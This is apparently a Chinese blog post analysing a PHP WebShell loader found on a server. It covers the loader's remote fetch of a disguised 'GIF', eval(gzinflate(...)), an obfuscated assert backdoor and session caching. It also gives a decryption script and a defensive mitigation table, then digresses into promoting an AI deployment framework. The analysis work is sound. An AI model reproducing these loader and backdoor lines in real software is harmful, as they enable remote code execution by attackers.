news 2026/4/16 11:15:29

逆向分析一个加密WebShell的全过程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
逆向分析一个加密WebShell的全过程

逆向分析一个加密WebShell的全过程

在一次常规的安全巡检中,我在某个边缘业务服务器的上传目录下发现了一个名为upload.php的文件。虽然扩展名是常见的.php,但内容却透着一股“非同寻常”的味道。

打开一看:

<?php $shellname="Sievr"; $password='99999'; s:142856; define('myaddress',__FILE__); error_reporting(E_ERROR | E_PARSE); header("content-Type: text/html; charset=utf-8"); @set_time_limit(0); ob_start(); define('envlpass',$password); define('shellname',$shellname); ...

这代码……怎么看都不对劲。开头那个s:142856;是什么?像是序列化字符串的残片?可后面又没有反序列化操作。而且整段脚本从头到尾找不到任何入口函数,也没有明显的恶意行为触发点。

等等——这种结构我见过。

它不像传统 WebShell 那样直接嵌入eval($_POST['cmd'])这类语句,反而更像一个加载器(loader):只负责解密、拉取、执行,真正的“弹药”藏在别处。

继续往下翻,果然发现了关键线索:

$get = "file_get_contents"; $url = 'http://i.niupic.com/images/2017/05/21/v1QR1M.gif'; $_SESSION['PhpCode'] = $get($url);

好家伙,原来如此!

这个所谓的.gif文件根本不是图片,而是伪装成图像资源的远程 PHP 载荷。本地脚本只是一个“引导程序”,运行时会悄悄从外部地址下载一段加密数据,解压后通过eval执行。

典型的“分离式部署 + 动态加载”架构,专为绕过静态检测设计。


拿到这段远程资源成了破局的关键。尝试用wget或浏览器访问目标 URL:

wget http://i.niupic.com/images/2017/05/21/v1QR1M.gif

结果返回403 Forbidden。服务端做了访问控制——可能是基于 User-Agent、IP 白名单,或者干脆已经下线了。

幸好,团队之前留存了一份流量镜像包,在其中提取出了那段核心加密体。内容如下:

\x78\x9c\xed}\x0b|\x1c\xd5y\xe0gfgvW\xab]\xadV\xab]\xad\xd6j\xb5Z\xadV+I\xcdj\xbdZ\xafH\xbaZ\xcdJ+\xcb\x96m\xc5\x0eN\xec8\x8e\xdd8q\xdc\x04BHH \xa1@\x0b\xa5P\xa0-\xd0R(\xb4\xd0R(-\x80K)\xe5h)...

一眼识别:这是标准的 zlib 压缩流,以\x78\x9c开头,正是gzinflate()的典型特征。

再回到原始脚本中搜索相关函数调用,很快定位到:

$un = gzinflate; // ... 后续处理 ... eval($un($_SESSION['PhpCode']));

这里用了变量赋值的方式隐藏敏感函数名,规避关键字扫描。实际等价于:

eval(gzinflate($_SESSION['PhpCode']));

也就是说,攻击流程非常清晰:

本地 loader → 请求远程“GIF” → 获取压缩载荷 → 解压执行 → 加载完整 WebShell 功能

整个过程几乎没有留下明文代码痕迹,极难被日志审计或 WAF 捕获。


既然无法在线获取,那就只能本地模拟执行环境来还原明文。

我新建了一个调试脚本debug.php

<?php session_start(); // 模拟已获取的加密数据(十六进制字符串形式) $data_hex = file_get_contents('./encrypted.bin'); $data_raw = hex2bin(trim($data_hex)); // 使用 gzinflate 解压 $un = 'gzinflate'; $output = $un($data_raw); // 保存解密后的代码 file_put_contents('decrypted.php', $output); echo "解密完成!请查看 decrypted.php 文件"; ?>

执行后生成decrypted.php,打开一看——熟悉的界面框架瞬间浮现眼前。

<?php class PHPzip { var $file_count = 0 ; var $datastr_len = 0; var $dirstr_len = 0; var $filedata = ''; var $gzfilename; var $fp; var $dirstr=''; function unix2DosTime($unixtime = 0) { ... } function startfile($path = 'QQqun555227.zip') { ... } function addfile($data, $name) { ... } function adddir($name) { ... } function createfile() { ... } }

这不就是那个流传甚广的图形化 PHP WebShell 的变种吗?UI 层写着css_mainhmlogineanver等标志性字段,显然是某个公开版本经过二次加密和混淆后的产物。

功能齐全:文件管理、数据库连接、命令执行、权限提升工具一应俱全,甚至还能打包下载整个网站目录。

而这一切,都被包裹在一个看似无害的“图片加载器”之下。


深入分析其对抗机制,你会发现它的设计相当老练。

首先是动态函数调用。几乎所有敏感操作都通过字符串拼接和变量替换实现,彻底避开静态扫描:

$a = str_replace(x,"","axsxxsxexrxxt"); // 得到 assert $a($_REQUEST[envlpass]);

相当于:

assert($_REQUEST['password']);

这类技巧能让绝大多数基于正则匹配的杀软直接失效。

其次是远程加载与热更新能力。主文件仅作为入口,真正逻辑托管在第三方服务器上。即使管理员清除了本地文件,攻击者只需换个 URL 就能重新激活。更可怕的是,他们可以随时更新远端 payload,实现无感升级。

然后是利用$_SESSION存储中间状态:

if (!isset($_SESSION['PhpCode'])) { $_SESSION['PhpCode'] = file_get_contents($remote_url); } eval(gzinflate($_SESSION['PhpCode']));

首次请求拉取并缓存,后续直接使用 Session 中的数据,减少网络依赖的同时也增加了取证难度——你很难从单一时间点的日志中还原完整攻击链。

最后是视觉欺骗。文件名是.gif,响应头声明为image/gif,但实际内容完全不符合 GIF 格式规范。普通用户或初级运维人员看到 MIME 类型正确,很容易放松警惕。


面对这样的威胁,我们该如何防御?

攻击手法应对策略
变量替换敏感函数启用 RASP(运行时应用自我保护),监控evalassert等函数的动态调用栈
远程加载 payload关闭allow_url_fopen=Offallow_url_include=Off,阻断外部资源包含
Session 隐藏数据定期审计 session 存储内容,尤其是非认证相关的异常大对象
图像伪装传输WAF 应校验上传文件的真实 Magic Number,而非仅依赖扩展名或 Content-Type
gzip 编码绕过检测在 IDS/IPS 规则中加入对gzinflategzuncompress的行为告警

特别提醒:不要小看gzinflate这个函数。它本身是合法的压缩工具,但在安全上下文中,凡是出现“gzinflate + eval”组合的地方,几乎都可以判定为恶意行为。


有意思的是,这套“轻量前端 + 动态加载 + 远程资源调度”的架构思想,其实也在现代 AI 工程化系统中广泛应用。

比如魔搭社区推出的ms-swift框架——一套面向大模型与多模态模型落地的统一训练与部署平台,就在设计理念上有异曲同工之妙。

它同样采用模块化加载机制:前端接口极简,后台按需拉取不同模型组件(如 Qwen3、Llama4、MiniCPM-V),避免一次性加载全部参数带来的资源浪费。

swift deploy --model Qwen3-VL --task visual-question-answering

这条命令背后,其实是从 ModelScope 云端动态下载模型权重、适配器、LoRA 微调模块的过程——和 WebShell 从 C2 服务器拉取 payload 的逻辑何其相似?

区别在于:

  • 一个是通过 HTTPS 安全通道、经 Token 鉴权后获取可信资源;
  • 另一个则是通过 HTTP 明文传输、无验证地执行远程代码。

同样的技术模式,因使用场景的不同,走向了两个极端:一个是推动生产力的工程典范,另一个则是潜伏在暗处的后门木马。

这也引出一个深刻的思考:真正决定技术善恶的,从来不是代码本身,而是它的上下文与控制权

ms-swift 提供了完整的权限管理体系:API 密钥、JWT 认证、私有部署隔离、调用日志追踪……这些机制确保了强大能力不会被滥用。

而那个 WebShell 呢?尽管也有密码登录:

if($_COOKIE['envlpass'] != md5(envlpass)){ // 跳转或退出 }

但这种静态 MD5 对比毫无安全性可言,既容易被爆破,也极易被 Cookie 注入绕过。完全没有审计、无追溯、无隔离,完全是“野路子”。


这次逆向让我意识到:

最危险的漏洞,往往藏在“看起来正常”的代码里。

你以为只是个普通的 include 文件?但它可能正在悄悄拉取远程 shell。
你以为只是启了个模型服务?但如果没做好鉴权,也可能变成别人的计算矿机。

技术和架构无所谓好坏,关键是谁在用、怎么用、有没有边界。

选择像ms-swift这样的开源、透明、生产级框架,本质上是在选择一种可信任的技术契约——把强大的能力,封装进安全、可控、可审计的容器之中。

这才是我们在 AI 时代应有的工程态度。


以下是本次使用的解密脚本,仅供学习研究:

<?php /** * WebShell Decryptor - For Educational Use Only * Author: Sievr */ session_start(); // Step 1: 获取远程加密数据(此处为模拟) $encrypted_data = file_get_contents('./payload.bin'); // 替换为你捕获的原始数据 // Step 2: 解压缩 $raw_code = gzinflate($encrypted_data); // Step 3: 写入解密文件 file_put_contents('webshell.decrypted.php', $raw_code); echo "Decryption completed.\nOutput saved to webshell.decrypted.php\n"; // Optional: 直接执行(极危险!仅限隔离环境) // eval($raw_code); ?>

⚠️ 提示:所有技术内容仅用于网络安全研究与教学目的,严禁用于非法用途。安全之道,在于守护,而非破坏。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 18:36:00

SQL汇总分析与分组查询实战入门

SQL汇总分析与分组查询实战入门 在日常的数据工作中&#xff0c;我们经常需要回答诸如“哪个产品的销量最高&#xff1f;”、“每位用户的平均消费是多少&#xff1f;”、“哪些班级的及格率低于60%&#xff1f;”这类问题。这些问题的本质&#xff0c;是对数据进行统计、归类和…

作者头像 李华
网站建设 2026/4/11 22:44:50

2025 智能垂钓选型:为何高端视觉渔具首选 电鱼智能 RK3588?

什么是 电鱼智能 EFISH-SBC-RK3588&#xff1f;电鱼智能 EFISH-SBC-RK3588 是一款专为高性能边缘计算打造的旗舰级单板计算机。它搭载 Rockchip RK3588 SoC&#xff08;8nm 工艺&#xff0c;8核 64位架构&#xff09;&#xff0c;集成了 6 TOPS NPU 和 Mali-G610 MP4 GPU。作为…

作者头像 李华
网站建设 2026/4/15 1:37:12

5大维度全面拆解cogagent与Open-AutoGLM,90%的人都选错了

第一章&#xff1a;5大维度全面拆解cogagent与Open-AutoGLM&#xff0c;90%的人都选错了在自动化机器学习&#xff08;AutoML&#xff09;领域&#xff0c;cogagent 与 Open-AutoGLM 是当前备受关注的两大开源框架。尽管二者均致力于降低模型调优门槛&#xff0c;但在实际应用中…

作者头像 李华
网站建设 2026/4/13 19:30:07

Windows DX运行库 一键安装工具 运行库下载软件

在使用电脑系统时经常会出现丢失找不到某些文件的情况&#xff0c;由于很多常用软件都是采用 Microsoft Visual Studio 编写的&#xff0c;所以这类软件的运行需要依赖微软Visual C运行库&#xff0c;比如像 QQ、迅雷、Adobe 软件等等&#xff0c;如果没有安装VC运行库或者安装…

作者头像 李华